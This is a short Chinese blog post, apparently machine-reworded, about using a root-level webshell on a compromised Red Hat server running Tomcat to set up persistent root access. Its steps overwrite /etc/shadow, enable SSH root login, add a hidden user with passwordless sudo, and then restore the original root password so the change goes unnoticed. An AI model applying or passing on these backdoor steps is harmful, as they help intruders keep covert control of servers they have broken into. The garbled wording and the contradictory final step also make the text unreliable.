宝塔linux webshell提权,linux提权 Root权限WebShell提权

没啥技术含量，一种思绪，让某些得到Root权限WebShell的同窗能够快点拿到权限。

某日拿到某站WebShell，RedHat(红旗linux)系统，Tomcat顺序是Root身份启动的，WebShell当然也拥有Root权限。

详细提权思绪：

1.WebShell直接替换Root密码：/etc/shadow    //记得备份

2.准许Root议决ssh登陆：

修正：/etc/ssh/sshd_config

PermitRootLogin yes   #准许Root登陆

3.重启ssh服务：service ssh restart

4.以Root身份登陆ssh，添加一个用户：

useradd application

passwd    //依据提示配置密码

5.修改application用户运转su不需密码：

chmod +w /etc/sudoers    //添加写入权限，默许只读

修正：/etc/sudoers

vi /etc/sudoers

参与：application   ALL=(ALL)        NOPASSWD: ALL

6.把Root密码修正回原样，制止Root登陆。并去除sudoers的写属性(chmod -w /etc/sudoers)。

7.当然开头还要：chmod -w /etc/sudoers

Root用户登陆。

普通用户登陆，su免密码进入Root权限。